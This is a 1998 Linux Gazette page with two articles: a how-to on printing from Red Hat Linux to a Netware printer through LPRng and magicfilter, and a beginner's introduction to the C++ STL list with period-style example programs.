<FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<BR><FONT FACE="Arial,Helvetica"><FONT SIZE=-1></FONT></FONT>
<TABLE WIDTH="100%" >
<TR>
<TD VALIGN=TOP COLSPAN="4" BGCOLOR="#000000" cellpadding="0" cellspacing="0"><IMG SRC="../gx/hammel/cleardot.gif" ALT="indent" ALIGN=LEFT></TD>
</TR>
</TABLE>
<TABLE WIDTH="100%" >
<TR>
<TD ALIGN=RIGHT><FONT SIZE=-2>© 1998 by <A HREF="mailto:mjhammel@graphics-muse.org">Michael
J. Hammel</A></FONT></TD>
</TR>
</TABLE>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<H1><font color="maroon">How to print to a Printer on a Netware server</font></H1>
<H4>By <a href="mailto:gpf@pikkedil.energie.sun.ac.za">Izak Burger</a></H4>
</center>
<P> <HR> <P>
<h2>Introduction</h2><br>
To understand the circumstances which led to me writing this little article,
I have to explain a few things first. I am a student at the university of
Stellenbosch in South Africa. We have a lot of Netware Servers on Campus, and
most of the printers used by students are connected to one of these servers.
A while ago I installed Linux for two friends of mine. They were quite
impressed with the performance, and after a while the decision was made to
install Linux on two of the other computers too. To make the switch from
Windows to Linux as smooth as possible, one of the requirements of the new
setup was that the Linux PC's should be able to print to the Netware printer
upstairs, without any aditional steps (Saving as text, converting to
postscript, and printing with nprint), in other words, point and click the way
windows users do it all the time. This article explains how I did it.
<p>
This article assumes that you'll be using only one printer, that is the Netware
printer. Because this procedure includes replacement of the print spooler
daemon, I do NOT recommend this procedure for a working installation with one
or more printers (unless of course you know what you're doing, but then you
won't be reading this now would you? :) ). Also, most of the instructions are
rather Redhat specific, if you are using another distribution, ask someone to
translate :)
<p><hr>
<h2>How does it work?</h2><br>
A print spooler is a program that accepts print jobs from computers on the
network. Usually the print jobs are stored on disk until the printer becomes
available again. The print spooler program also places an exclusive lock on
the device your printer is connected to, usually /dev/lp1. This prevents other
users or programs from printing while the print spooler is busy.
<p>
The print spooler does however do no formatting of its own. It merely stores
what ever you sent it in a disk file, then send it to the printer when it
becomes available. To have some kind of intelligent formating, filters are
used. A print filter will determine the type of data passing through it, and
peform conversions on it. This means that it doesn't matter what you send to
the printer, the printer will always get something printable, usually
postscript.
<p>
Filters also makes it possible to do a few nice things. Since a filter is
actually nothing more than a small program that reads from stdin and writes
to stdout, we can write filter programs that can do almost anything. In this
case, I made it send the job to a Netware server.
<hr>
<h2>Requirements</h2>
<b>You need the latest versions of:</b><br>
<ul>
<li><a href="ftp://ftp.astart.com/pub/lprng/lprng/">LPRng</a>
<li><a href="ftp://ftp.sunsite.unc.edu/pub/linux/system/printing/">Magicfilter</a>
<li>ncpfs (on your redhat cd or some good linux ftp site)
</ul>
<p>
<b>Note:</b> The location or version numbers of these software may have changed.
<p>
<hr>
<h2>Installation</h2>
You have to be <b>root</b> to install this.
<p>
If you havent already done so, recompile your kernel with ipx support, but
not full internal net. You may also compile ipx as a module. See the Kernel-
HOWTO for more information about this.
<p>
Install ncpfs with: rpm -i ncpfs-2.0.11-3.i386.rpm (Your version number may
differ)<br>
You may also need to install ipx-utils. Rpm will notify you if you haven't
installed ipx-utils yet.
<p>
Execute <b>one</b> of the following, depending on your setup. In my case the
first line worked perfectly on all of the systems I have installed this on:<br>
<ul>
<li>ipx_interface add -p eth0 etherii
<li>ipx_configure --auto_interface=on --auto_primary=on
</ul>
<p>
You may also want to read the man pages for these commands. Since you want
to print to a netware server, I assume you have access to it, and should not
have a problem obtaining the correct settings here. You should also put this
line in /etc/rc.d/rc.local, so that it gets executed everytime you boot your
system.
<p>
You have to remove the existing lpd before installing LPRng, this is most
easily acomplished with:<p>
<code>
/etc/rc.d/init.d/lpd stop<br>
rpm -e printtool<br>
rpm -e rhs-printfilters<br>
rpm -e lpr<br>
</code>
<p>
Extract the LPRng- and magicfilter tarballs into /usr/local/src (or anywhere
else you feel comfortable with), they should untar into their own
subdirectories. Now follow the directions given in the README or INSTALL files
of both, this usually consists of a ./configure, make, make install.
<p>
Create the directory /usr/local/printfilters and copy a suitable filter from
/usr/local/src/magicfilter-1.2/filters to this directory. You may need to
modify this file slightly to make it work propperly. In my case i used the
psonly600-filter file: on rh5.1 a2ps was invoked with bad parameters; on rh5.0
a2ps wasn't installed and nowhere to be found on the cdrom, so i had to add this
to the file:<p>
<code>
default pipe mpage -ba4 -o -1
</code>
<p>
or install nenscript (from redhat cd) and add this line (this is probably the
best option):<p>
<code>
default pipe /usr/bin/nenscript -b -p-
</code>
<p>
Also, change these lines:<p>
<table>
<tr><td><tt># postscript</tt></td><td></td><td></td></tr>
<tr><td><tt>0</tt></td><td><tt>%!</tt></td><td><tt>postscript</tt></td></tr>
<tr><td><tt>0</tt></td><td><tt>\004%!</tt></td><td><tt>postscript</tt></td></tr>
</table>
to this:<p>
<table>
<tr><td><tt># postscript</tt></td><td></td><td></td></tr>
<tr><td><tt>0</tt></td><td><tt>%!</tt></td><td><tt>cat</tt></td></tr>
<tr><td><tt>0</tt></td><td><tt>\004%!</tt></td><td><tt>cat</tt></td></tr>
</table>
<p>
This is because "postscript" caused an extra clean page to be printed after
every print job.
<p>
I also include <a href="nw_psonly1200-filter">this</a> filter. It was orriginally
used to print to a HP laserjet 4000.
<p>
Copy <a href="nw_print">nwprint</a>, <a href="nw_filter">filter</a> and
<a href="nw_config">.config</a> to /usr/local/printfilters, then edit
<a href="nw_filter">filter</a> and replace psonly1200-filter with the filter you
intend to use.
<p>
Edit the <a href="nw_config">.config</a> file to contain the information relevant
to your setup.
<p>
Now do:
<PRE>
chmod 755 filter nwprint
chmod 640 .config
chown root.daemon .config
</PRE>
<p>
Install the <a href="nw_lpd">lpd startup script</a> in /etc/rc.d/init.d.
remember to do a chmod 755 /etc/rc.d/init.d/lpd.
<p>
Now you have to make symlinks to start lpd in the correct runlevels:<p>
<code>
cd /etc/rc.d/rc3.d<br>
ln -s ../init.d/lpd s90lpd<br>
cd /etc/rc.d/rc5.d<br>
ln -s ../init.d/lpd s90lpd<br>
cd /etc/rc.d/rc6.d<br>
ln -s ../init.d/lpd k08lpd<br>
cd /etc/rc.d/rc0.d<br>
ln -s ../init.d/lpd k08lpd<br>
</code>
<p>
This should have lpd start up in the runlevels mostly used by Redhat users.
<p>
Now we get to modifying a bunch of files in /etc...<br>
Edit /etc/printcap to look like the following:
<p>
<code>
lp:\<br>
:sd=/var/spool/lpd/lp:\<br>
:mx#0:\<br>
:sh:\<br>
:if=/usr/local/printfilters/filter:\<br>
:af=/var/spool/lpd/lp/acct:\<br>
:lp=/dev/null:<br>
</code>
<p>
Edit /etc/lpd.conf and locate the line:<p>
<code>
# Purpose: lock the IO device<br>
# lk@<br>
</code>
<p>
Uncomment the "lk@". This tells lpd NOT to place an exclusive lock onto the
device, so if any other program tries to use /dev/null while we're printing it
will not break.
<p>
Edit /etc/lpd.perms and add these lines:<p>
<code>
REJECT NOT SERVER<br>
REJECT SERVICE=R,P,Q,M,C,S NOT REMOTEUSER=yourusername,another,friend<br>
</code>
<p>
This allows only the users in the comma separated list to print from the local
host. I dont know what will happen if two users print at exactly the same
time, but for the most part you will only allow yourself to print anyway.
<p>
Finally execute:<p>
<code>
checkpc -f<br>
/etc/rc.d/init.d/lpd start<br>
</code>
<p>
Everything should work propperly now. You should now clean up /usr/local/src.
Keep the tarballs in a safe place, then do this:<p>
<code>
rm -rf /usr/local/src/magicfilter-1.2<br>
rm -rf /usr/local/src/LPRng-3.5.1<br>
</code>
<p><hr>
<h2>Why it took me a week to figure this out...</h2>
I tried to do the same thing with lpd, but for some sinister reason nprint
could not access any Netware servers if it was invoked by lpd. If the
filter was invoked from the commandline, only then could nprint access the
server and print the job. I had a few options: Figure out a way of forcing
lpd to allow me access, produce a kind of work arround, or use another
spooler. Since lpd already have lots of other problems (Read about it, never
seen them in action), I settled for LPRng.
<p>
At first I tried to make the standard Redhat print filter work with LPRng. This
did not work very well, because the standard filter use files in
/var/spool/lpd/lp while LPRng is rather fussy about the permisions of files in
this directory. Moving the files broke everything, and as it was already 3:00
on a Saturday morning by then, I quickly got magicfilter off sunsite (We have
a local mirror :) ), compiled the software and built myself a little filter
script.
<p>
Now all I had to do was introduce some kind of password hiding mechanism so
that users of the system cannot see the Netware username and password. I
discovered that the filter was executed as the "daemon" user, therefore
decided to create a .config file with permisions 640 and ownership root.daemon.
This file is simply included into nwprint, but while anyone can read nwprint, no
one can read .config ( except root and daemon of course :) ).
<p>
Well this allowed any user with access to the system to print, usually you would
only want yourself to have access to the printer, so after reading through
/etc/lpd.perms and part of the documentation, I came up with the two REJECT
lines mentioned above.
<p><hr>
<h2>A few useful tips</h2>
Or rather, things I discovered while doing this...
<p>
1. To test the setup, change the nwprint script to cat all input to a file in
/tmp. This is also nice to produce postscript files from applications that do
not have the capability to save in postscript: Just uncomment the
"cat > /tmp/printout.ps" line in the nwprint script. Of course you'll have
to comment the nprint line out :) You can even have this installed as a second
"Printer", together with your existing printer.
<p>
2. To print from pine, you have to setup lpr as default printing command rather
than the other default thingy it uses.
<p>
3. Use the Generic postscript option in StarOffice. Even if you don't have a
postscript printer, you should be able to use it as long as ghostscript has
a driver for your printer.
<p>
4. Look in /pub/Linux/system/printing on sunsite.unc.edu for other print
filters. There's plenty of existing solutions for most of the Canon bubble jet
printers, as well as HP deskjets and some of the Epson printers.
<p>
Also read the Printing-HOWTO, it should be installed in /usr/doc/HOWTO but if it
is not there, locate the RPM on your Redhat 5.0/5.1 CD and install it, having
the howto's arround is always nice, and is in my oppinion a MUST.
<hr>
<h2>DISCLAIMER</h2><hr>
This is the place where I tell you that I am not responsible for any harm that
may come to you or your computer as a result of following the steps in this
article. Blah Blah...
<p>
If I did anything stupid or there are better ways to do this please
let me know at the e-mail address below, this address should be valid at least
until somewhere late in 1999 :)
<p>
Izak Burger<br>
<a href="mailto:gpf@pikkedil.energie.sun.ac.za">gpf@pikkedil.energie.sun.ac.za</a>
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Izak Burger <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./gm.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./field.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<H1><font color="maroon">Introduction to STL, Standard Template Library</font></H1>
<H4>By <a href="mailto:sfield@idx.com.au">Scott Field</a></H4>
</center>
<P> <HR> <P>
This article is about a new extension to the C++ language, the Standard
Template Library, otherwise known as STL.
<P>
When I first proposed the idea of an article on STL,
I must say I somewhat underestimated the depth and breadth of the topic.
There is a lot of ground to cover and there are a number of books describing
STL in detail. So I looked at my original idea and refocussed. Why
was I writing an article and what could I contribute? What would be
useful? Was there a need for another STL article.
<P>
As I turned the pages of Musser and Saini I could see programming time
dissolving in front of me. I could see late nights disappearing, and on
target software projects reappearing. I could see maintainable code. A year
has passed since then and the software I have written using STL has been
remarkably easy to maintain. And shock horror, other people can maintain it
as well, without me!
<P>
However, I also remembered that at the beginning it was difficult wading
through the technical jargon. Once I bought Musser & Saini everything fell
into place but before that it was a real struggle and the main thing
I yearned for was some good examples.
<P>
Also the third edition of Stroustrup which covers STL as part of C++ was
not out when I started.
<P>
So I thought it might be useful to write an article about real life use of
STL for new STL programmers. I always learn faster if I can get my hands on
some good examples, particularly on new subjects like this.
<P>
The other thing is, STL is supposed to be easy to use. So theoretically we
should be able to start using STL straight away.
<P>
What is STL? STL stands for the Standard Template Library. Possibly
one of the most boring terms in history, for one of the most exciting
tools in history. STL basically consists of a bunch of containers -
lists, vectors, sets, maps and more, and a bunch of algorithms and
other components. This "bunch of containers and algorithms" took some
of the brightest people in the world many years to create.
<P>
The purpose of STL is to standardise commonly used components so you don't
have to keep reinventing them. You can just use the standard STL components
off the shelf. STL is also part of C++ now, so there will be no more
extra bits and pieces to collect and install. It will be built into
your compiler.
Because the STL list is one of the simpler containers, I thought that
it might be a good place to start in demonstrating the practical use
of STL. If you understand the concepts behind this one, you'll have no
trouble with the rest. Besides, there is an awful lot to a simple list
container, as we'll see.
<P>
In this article we will see how to define and initialise a list, count
elements, find elements in a list, remove elements, and other very useful
operations. In doing so we will cover two different kinds of algorithms,
STL generic algorithms which work with more than one container, and
list member functions which work exclusively with the list container.
<P>
Just in case anyone's wondering, here is a brief rundown on the three
main kinds of STL components. The STL containers hold objects, built
in objects and class objects. They keep the objects secure and define
a standard interface through which we can manipulate the objects. Eggs
in an egg container won't roll off the kitchen bench. They are safe.
So it is with objects in STL containers. They are safe. I know that sounds
corny but it's true.
<P>
STL algorithms are standard algorithms we can apply to the objects while
they are in the container. The algorithms have well known execution
characteristics. They can sort the objects, remove them, count them, compare
them, find a particular one, merge objects into another container, and carry
out many other useful operations.
<P>
STL iterators are like pointers to the objects in the containers. STL
algorithms use iterators to operate on containers. Iterators set bounds for
algorithms, regarding the extent of the container, and in other ways. For
example some iterators only let the algorithms read elements, some allow
them to write elements, some both. Iterators also determine the direction
of processing in a container.
<P>
You can obtain iterators to the first position in a container by calling
the container member function begin(). You can call the container end()
function to get the past the end value (where to stop processing).
<P>
This is what STL is all about, containers, algorithms, and iterators to allow
the algorithms to work on the elements in the containers. The algorithms
manipulate the objects in a measurable, standard way, and are made aware of
the precise extent of the container via iterators. Once this is done they
won't ever "run off the edge". There are other components which enhance
the functionality of these core component types, such as function objects.
We will also look at some examples of these. For now, lets take a look at
the STL list.
<P> <HR> <P>
<H4>Defining a List</H4>
<P>
We can define an STL list like this.
<PRE>
#include <string>
#include <list>
int main (void) {
list<string> Milkshakes;
}
</PRE>
Thats to Linux Journal, it. You've defined a list. Could it have been any easier?
By saying list<string> Milkshakes you've instantiated a template class
list<string>, and then instantiated an object of that type. But lets not fuss
with that. At this stage you really only need to know that you have defined a
list of strings.
You need the header file list to provide the STL list class.
I compiled these test programs using GCC 2.7.2 on my Linux box. For example:
<PRE>
g++ test1.cpp -otest1
</PRE>
Note that the include file iostream.h is buried in one of the STL header
files. Thats why it is missing in some of the examples.
<P>
Now that we have a list, we can start using it to hold things. We'll add some
strings to the list. There is an important thing called the value type of the
list. The value type is the type of the object the list holds. In this case
the value type of the list is string, as the list holds strings.
<P> <HR> <P>
<H4>Inserting elements into a list with the list member functions push_back
and push_front</H4>
<PRE>
#include <string>
#include <list>
#
int main (void) {
list<string> Milkshakes;
Milkshakes.push_back("Chocolate");
Milkshakes.push_back("Strawberry");
Milkshakes.push_front("Lime");
Milkshakes.push_front("Vanilla");
}
</PRE>
We now have a list with four strings in it. The list member function push_back()
places an object onto the back of the list. The list member function
push_front() puts one on the front. I often push_back() some error
messages onto a list, and then push_front() a title on the list so it
prints before the error messages.
<P> <HR> <P>
<H4>The list member function empty()</H4>
<P>
It is important to know if a list is empty. The empty() list member function
returns true if the list is empty. Empty is a deceptively simple concept.
I often use it in the following way. Throughout a program I use push_back() to
put error messages onto a list. Then by calling empty() I can tell if the
program has reported any errors. If I define one list for informational
messages, one for warnings, and one for serious errors, I can easily tell what
types of errors have occurred just by using empty().
<P>
I can populate these lists throughout the program, then smarten them up
with a title, or maybe sort them into categories, before printing them out.
<P>
Here's what I mean.
<PRE>
/*
|| Using a list to track and report program messages and status
*/
#include <iostream.h>
#include <string>
#include <list>
#
int main (void) {
#define OK 0
#define INFO 1
#define WARNING 2
#
int return_code;
#
list<string> InfoMessages;
list<:string> WarningMessages;
#
// during a program these messages are loaded at various points
InfoMessages.push_back("Info: Program started");
// do work...
WarningMessages.push_back("Warning: No Customer records have been found");
// do work...
#
return_code = OK;
#
if (!InfoMessages.empty()) { // there were info messages
InfoMessages.push_front("Informational Messages:");
// ... print the info messages list, we'll see how later
return_code = INFO;
}
#
if (!WarningMessages.empty()) { // there were warning messages
WarningMessages.push_front("Warning Messages:");
// ... print the warning messages list, we'll see how later
return_code = WARNING;
}
#
// If there were no messages say so.
if (InfoMessages.empty() && WarningMessages.empty()) {
cout << "There were no messages " << endl;
}
#
return return_code;
}
</PRE>
<P> <HR> <P>
<H4>Processing elements in a list with a for loop</H4>
<P>
We will want to be able to iterate through any list, to, for example, print
all the objects in the list to see the effect of various operations on a list.
To iterate through a list, element by element we can proceed as follows
<PRE>
/*
|| How to print the contents of a simple STL list. Whew!
*/
#include <iostream.h>
#include <string>
#include <list>
#
int main (void) {
list<string> Milkshakes;
list<string>::iterator MilkshakeIterator;
#
Milkshakes.push_back("Chocolate");
Milkshakes.push_back("Strawberry");
Milkshakes.push_front("Lime");
Milkshakes.push_front("Vanilla");
#
// print the milkshakes
Milkshakes.push_front("The Milkshake Menu");
Milkshakes.push_back("*** Thats the end ***");
for (MilkshakeIterator=Milkshakes.begin();
MilkshakeIterator!=Milkshakes.end();
++MilkshakeIterator) {
// dereference the iterator to get the element
cout << *MilkshakeIterator << endl;
}
}
</PRE>
In this program we define an iterator, MilkshakeIterator. We set
MilkshakeIterator to the first element of the list. To do this we call
Milkshakes.begin() which returns an iterator to the beginning of the list.
We then compare MilkshakeIterator to the end of list value Milkshakes.end(),
and stop when we get there.
<P>
The end() function of a container returns an iterator to the position one past
the end of the container. When we get there, we stop processing. We cannot
dereference the iterator returned by a container's end() function. We just
know it means we have passed the end of the container and should stop
processing elements. This holds for all STL containers.
<P>
In the above example at each pass through the for loop we dereference the
iterator to obtain the string, which we print.
<P>
In STL programming we use one or more iterators in every algorithm. We use
them to access objects in a container. To access a given object we point the
iterator at the required object, then we dereference the iterator.
<P>
The list container, in case you're wondering, does not support adding a number
to a list iterator to jump to another object in the container. That is, we
cannot say Milkshakes.begin()+2 to point to the third object in the list,
because the STL list is implemented as a double linked list, which does not
support random access. The vector and deque containers, other STL containers,
do provide random access.
<P>
The above program printed the contents of the list. Anyone reading it
can immediately see how it works. It uses standard iterators and a
standard list container. There is not much programmer dependent stuff in it,
or a home grown list implementation. Just standard C++. That's an important
step forward. Even this simple use of STL makes our software more standard.
<P> <HR> <P>
<H4>Processing elements in a list with the STL generic algorithm for_each</H4>
<P>
Even with an STL list and iterator we are still initialising, testing, and
incrementing the iterator to iterate through a container. The STL generic
for_each algorithm can relieve us of that work.
<PRE>
/*
|| How to print a simple STL list MkII
*/
#include <iostream.h>
#include <string>
#include <list>
#include <algorithm>
#
PrintIt (string& StringToPrint) {
cout << StringToPrint << endl;
}
#
int main (void) {
list<string> FruitAndVegetables;
FruitAndVegetables.push_back("carrot");
FruitAndVegetables.push_back("pumpkin");
FruitAndVegetables.push_back("potato");
FruitAndVegetables.push_front("apple");
FruitAndVegetables.push_front("pineapple");
#
for_each (FruitAndVegetables.begin(), FruitAndVegetables.end(), PrintIt);
}
</PRE>
In this program we use the STL generic algorithm for_each() to iterate though
an iterator range and invoke the function PrintIt() on each object.
We don't need to initialise, test or increment any iterators. for_each()
nicely modularises our code. The operation we are performing on the object is
nicely packaged away in a function, we have gotten rid of the loop, and our
code is clearer.
<P>
The for_each algorithm introduces the concept of an iterator range, specified
by a start iterator and an end iterator. The start iterator specifies where to
start processing and the end iterator signifies where to stop processing, but
is not included in the range.
<P> <HR> <P>
<H4>Counting elements in a list with the STL generic algorithm count()</H4>
<P>
The STL generic algorithms count() and count_if() count occurrences of objects
in a container. Like for_each(), the count() and count_if() algorithms take an
iterator range.
<P>
Lets count the number of best possible scores in a list of student's exam
scores, a list of ints.
<PRE>
/*
|| How to count objects in an STL list
*/
#include <list>
#include <algorithm>
#
int main (void) {
list<int> Scores;
#
Scores.push_back(100); Scores.push_back(80);
Scores.push_back(45); Scores.push_back(75);
Scores.push_back(99); Scores.push_back(100);
#
int NumberOf100Scores(0);
count (Scores.begin(), Scores.end(), 100, NumberOf100Scores);
#
cout << "There were " << NumberOf100Scores << " scores of 100" << endl;
}
</PRE>
The count() algorithm counts the number of objects equal to a certain value.
In the above example it checks each integer object in a list against 100.
It increments the variable NumberOf100Scores each time a container object
equals 100. The output of the program is
<PRE>
There were 2 scores of 100
</PRE>
<P> <HR> <P>
<H4>Counting elements in a list with the STL generic algorithm count_if()</H4>
<P>
count_if() is a much more interesting version of count(). It introduces a new
STL component, the function object. count_if() takes a function object as a
parameter. A function object is a class with at least operator () defined.
Some STL algorithms accept function objects as parameters and invoke
operator () of the function object for each container object being processed.
<P>
Function objects intended for use with STL algorithms have their function call
operator returning true or false. They are called predicate function objects
for this reason. An example will make this clear.
count_if() uses the passed in function object to make a more complex assessment
than count() of whether an object should be counted. In this example we will
count toothbrushes sold. We will refer to sales records containing a four
character product code and a description of the product.
<PRE>
/*
|| Using a function object to help count things
*/
#include <string>
#include <list>
#include <algorithm>
#
const string ToothbrushCode("0003");
#
class IsAToothbrush {
public:
bool operator() ( string& SalesRecord ) {
return SalesRecord.substr(0,4)==ToothbrushCode;
}
};
#
int main (void) {
list<string> SalesRecords;
#
SalesRecords.push_back("0001 Soap");
SalesRecords.push_back("0002 Shampoo");
SalesRecords.push_back("0003 Toothbrush");
SalesRecords.push_back("0004 Toothpaste");
SalesRecords.push_back("0003 Toothbrush");
#
int NumberOfToothbrushes(0);
count_if (SalesRecords.begin(), SalesRecords.end(),
IsAToothbrush(), NumberOfToothbrushes);
#
cout << "There were "
<< NumberOfToothbrushes
<< " toothbrushes sold" << endl;
}
</PRE>
The output of the program is
<PRE>
There were 2 toothbrushes sold
</PRE>
The program works as follows: A function object class is defined, IsAToothbrush.
Objects of this class can determine whether a sales record is a toothbrush
sales record or not. Their function call operator () will return true if a
record is a toothbrush sales record and false otherwise.
<P>
The count_if() algorithm will process container objects in the range
specified by the first and second iterator parameters. It will increment
NumberOfToothbrushes for each object in the container for which
IsAToothbrush()() returns true.
<P>
The net result is that NumberOfToothbrushes will contain the number of sales
records where the product code was "0003", that is, where the product was a
toothbrush.
<P>
Note that the third parameter to count_if(), IsAToothbrush(), is a temporary
object constructed with it's default constructor. The () do not signify a
function call. You are passing a temporary object of class IsAToothbrush to
count_if(). count_if() will internally invoke IsAToothbrush()() for each object
in the container.
<P> <HR> <P>
<H4>A more complex function object with the STL generic algorithm count_if()</H4>
<P>
We can further develop the idea of the function object. Assume we need to pass
more information to a function object. We cannot do this using the function call
operator, because that must be defined to take only an object of the value type
of the list. However by specifying a non-default constructor for IsAToothbrush
we can initialise it with whatever information we need. We might need to have a
variable code for a toothbrush for example. We can add this extra information
into the function object as follows:
<PRE>
/*
|| Using a more complex function object
*/
#include <iostream.h>
#include <string>
#include <list>
#include <algorithm>
#
class IsAToothbrush {
public:
IsAToothbrush(string& InToothbrushCode) :
ToothbrushCode(InToothbrushCode) {}
bool operator() (string& SalesRecord) {
return SalesRecord.substr(0,4)==ToothbrushCode;
}
private:
string ToothbrushCode;
};
#
int main (void) {
list<string> SalesRecords;
#
SalesRecords.push_back("0001 Soap");
SalesRecords.push_back("0002 Shampoo");
SalesRecords.push_back("0003 Toothbrush");
SalesRecords.push_back("0004 Toothpaste");
SalesRecords.push_back("0003 Toothbrush");
#
string VariableToothbrushCode("0003");
#
int NumberOfToothbrushes(0);
count_if (SalesRecords.begin(), SalesRecords.end(),
IsAToothbrush(VariableToothbrushCode),
NumberOfToothbrushes);
cout << "There were "
<< NumberOfToothbrushes
<< " toothbrushes matching code "
<< VariableToothbrushCode
<< " sold"
<< endl;
}
</PRE>
The output of the program is
<PRE>
There were 2 toothbrushes matching code 0003 sold
</PRE>
This example shows how to pass information to the function object. You can
define any constructors that you like and you can do any processing in the
function object that you like, well, that the compiler will tolerate anyhow.
<P>
You can see that function objects really extend the basic counting algorithm.
<P>
At this stage we have covered
<P>
<ul>
<li> defining a list
<li> adding elements to a list
<li> how to tell if a list is empty
<li> how to iterate through a list using a for loop
<li> how to iterate through a list using the STL generic algorithm for_each
<li> the begin() and end() list member functions and their meaning
<li> the concept of iterator ranges and the fact that the last position of a
range is not processed
<li> how to count objects in a list using the STL generic algorithms
count() and count_if()
<li> how to define function objects
</ul>
<P>
These examples were chosen to show commonly needed list operations.
If you understand these basic principles you will have no trouble using STL
productively. Mind you it does take some practice. We'll now extend our
knowledge with some more complicated operations, both list member functions
and STL generic algorithms.
<P> <HR> <P>
<H4>Finding objects in a list using the STL generic algorithm find()</H4>
<P>
How do we find something in a list? The STL generic algorithms find() and
find_if() will do that. Like for_each(), count(), and count_if(),
these algorithms take an iterator range, specifying what part of a list or
any other container for that matter, to process. As usual the first iterator
specifies where to start processing, the second iterator specifies where to
stop processing. The position specified by the second iterator is not included
in processing.
<P>
Here's how find() works.
<PRE>
/*
|| How to find things in an STL list
*/
#include <string>
#include <list>
#include <algorithm>
#
int main (void) {
list<string> Fruit;
list<string>::iterator FruitIterator;
#
Fruit.push_back("Apple");
Fruit.push_back("Pineapple");
Fruit.push_back("Star Apple");
#
FruitIterator = find (Fruit.begin(), Fruit.end(), "Pineapple");
#
if (FruitIterator == Fruit.end()) {
cout << "Fruit not found in list" << endl;
}
else {
cout << *FruitIterator << endl;
}
}
</PRE>
The output of the program will be
<PRE>
Pineapple
</PRE>
If find does not find the specified object, it returns the past the end
iterator Fruit.end(). Otherwise it returns an iterator to the
found list object.
<P> <HR> <P>
<H4>Finding objects in a list using the STL generic algorithm find_if()</H4>
<P>
There is another more powerful version of find(). This example demonstrates
find_if(), which accepts a function object as a parameter, and uses it to make
a more complex assessment of whether an object is "found".
<P>
Say we have records containing events and dates stored in chronological order
in a list. We wish to find the first event that took place in 1997.
<PRE>
/*
|| How to find things in an STL list MkII
*/
#include <string>
#include <list>
#include <algorithm>
#
class EventIsIn1997 {
public:
bool operator () (string& EventRecord) {
// year field is at position 12 for 4 characters in EventRecord
return EventRecord.substr(12,4)=="1997";
}
};
#
int main (void) {
list<string> Events;
#
// string positions 0123456789012345678901234567890123456789012345
Events.push_back("07 January 1995 Draft plan of house prepared");
Events.push_back("07 February 1996 Detailed plan of house prepared");
Events.push_back("10 January 1997 Client agrees to job");
Events.push_back("15 January 1997 Builder starts work on bedroom");
Events.push_back("30 April 1997 Builder finishes work");
#
list<string>::iterator EventIterator =
find_if (Events.begin(), Events.end(), EventIsIn1997());
#
// find_if completes the first time EventIsIn1997()() returns true
// for any object. It returns an iterator to that object which we
// can dereference to get the object, or if EventIsIn1997()() never
// returned true, find_if returns end()
if (EventIterator==Events.end()) {
cout << "Event not found in list" << endl;
}
else {
cout << *EventIterator << endl;
}
}
</PRE>
The output of the program will be
<PRE>
10 January 1997 Client agrees to job
</PRE>
<P> <HR> <P>
<H4>Finding sequences in a list using the STL generic algorithm search</H4>
<P>
Some characters are a little easier to deal with in an STL container.
Lets look at a sequence of characters that can be difficult to work with.
We'll define an STL list to hold the characters.
<PRE>
list<char> Characters;
</PRE>
We now have a rock solid sequence of characters that knows how to manage
it's own memory without any help. It knows precisely where it starts and
ends. That's a useful thing. I don't know if I'd say that about a null
terminated array of characters.
<P>
Lets add some of our favourite characters to the list.
<PRE>
Characters.push_back('\0');
Characters.push_back('\0');
Characters.push_back('1');
Characters.push_back('2');
</PRE>
How many null characters have we got?
<PRE>
int NumberOfNullCharacters(0);
count(Characters.begin(), Characters.end(), '\0', NumberOfNullCharacters);
cout << "We have " << NumberOfNullCharacters << endl;
</PRE>
Let's find the character '1'
<PRE>
list<char>::iterator Iter;
Iter = find(Characters.begin(), Characters.end(), '1');
cout << "We found " << *Iter << endl;
</PRE>
This example is intended to show that STL containers allow you to handle
null characters in a more standard way. Now lets search a container for two
nulls with the STL search algorithm.
<P>
The STL generic algorithm search() searches a container, as you may have
guessed, but for a sequence of elements, unlike find() and find_if() which
search for a single element.
<PRE>
/*
|| How to use the search algorithm in an STL list
*/
#include <string>
#include <list>
#include <algorithm>
#
int main ( void ) {
#
list<char> TargetCharacters;
list<char> ListOfCharacters;
#
TargetCharacters.push_back('\0');
TargetCharacters.push_back('\0');
#
ListOfCharacters.push_back('1');
ListOfCharacters.push_back('2');
ListOfCharacters.push_back('\0');
ListOfCharacters.push_back('\0');
#
list<char>::iterator PositionOfNulls =
search(ListOfCharacters.begin(), ListOfCharacters.end(),
TargetCharacters.begin(), TargetCharacters.end());
#
if (PositionOfNulls!=ListOfCharacters.end())
cout << "We found the nulls" << endl;
}
</PRE>
The output of the program will be
<PRE>
We found the nulls
</PRE>
The search algorithm finds the first occurrence of one sequence in another
sequence. In this case we search for the first occurrence of TargetCharacters
which is a list containing two null characters, in ListOfCharacters.
<P>
The parameters for search are two iterators specifying a range to search,
and two more iterators specifying a range to search for. So we are looking
for the entire range of the TargetCharacters list, in the entire range of
ListOfCharacters.
<P>
If TargetCharacters is found, search will return an iterator to the first
character in ListOfCharacters where the sequences matched. If a match is
not found, search will return the past the end value ListOfCharacters.end().
<P> <HR> <P>
<H4>Sorting a list using the list member function sort()</H4>
<P>
To sort a list we use the list member function sort(), not the generic
algorithm sort(). All the algorithms we have been using up till now have
been generic algorithms. However in STL, sometimes a container will supply
it's own implementation of a particular algorithm, either through necessity
or for enhanced performance.
<P>
In this case the list container has it's own sort because the generic sort
algorithm only sorts containers which provide random access to the elements
inside. The list container does not provide random access to the elements
in the list, because it is implemented as a linked list. A special sort()
member function is needed which can sort a linked list.
<P>
